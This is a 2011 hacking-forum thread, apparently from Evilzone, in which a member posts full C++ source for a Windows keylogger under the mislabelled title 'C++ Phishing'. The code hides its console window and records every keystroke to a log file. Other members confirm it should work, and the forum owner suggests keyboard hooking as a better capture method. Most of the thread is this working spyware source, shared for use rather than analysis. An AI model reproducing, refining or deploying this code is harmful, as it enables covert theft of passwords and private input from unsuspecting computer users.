Author Topic: C++ Phishing  (Read 2548 times)

0 Members and 1 Guest are viewing this topic.

Offline Carnage

  • Serf
  • *
  • Posts: 20
  • Cookies: 0
  • Live to Love, Love to Hate.
    • View Profile
C++ Phishing
« on: July 25, 2011, 05:42:43 pm »
Root Visual C++ Phishing Coding using dev c++
Let me know if I made any mistakes =)
Code: [Select]

 #include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
 
 
 

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: C++ Phishing
« Reply #1 on: July 25, 2011, 05:46:23 pm »
~Factionwars

Offline Carnage

  • Serf
  • *
  • Posts: 20
  • Cookies: 0
  • Live to Love, Love to Hate.
    • View Profile
Re: C++ Phishing
« Reply #2 on: July 25, 2011, 05:49:20 pm »
no it isn't i just wanted to check with you guys if it works

Offline Carnage

  • Serf
  • *
  • Posts: 20
  • Cookies: 0
  • Live to Love, Love to Hate.
    • View Profile
Re: C++ Phishing
« Reply #3 on: July 25, 2011, 08:52:15 pm »
Doesn't mean i made it XD When I'm posting something it's obviously under my name so if i get something wrong it's my mistake, or no?

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: C++ Phishing
« Reply #4 on: July 26, 2011, 09:59:37 am »
Looks like it should work, however I have heard GetAsyncKeyState is not the best way. Try doing some hooking instead.
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true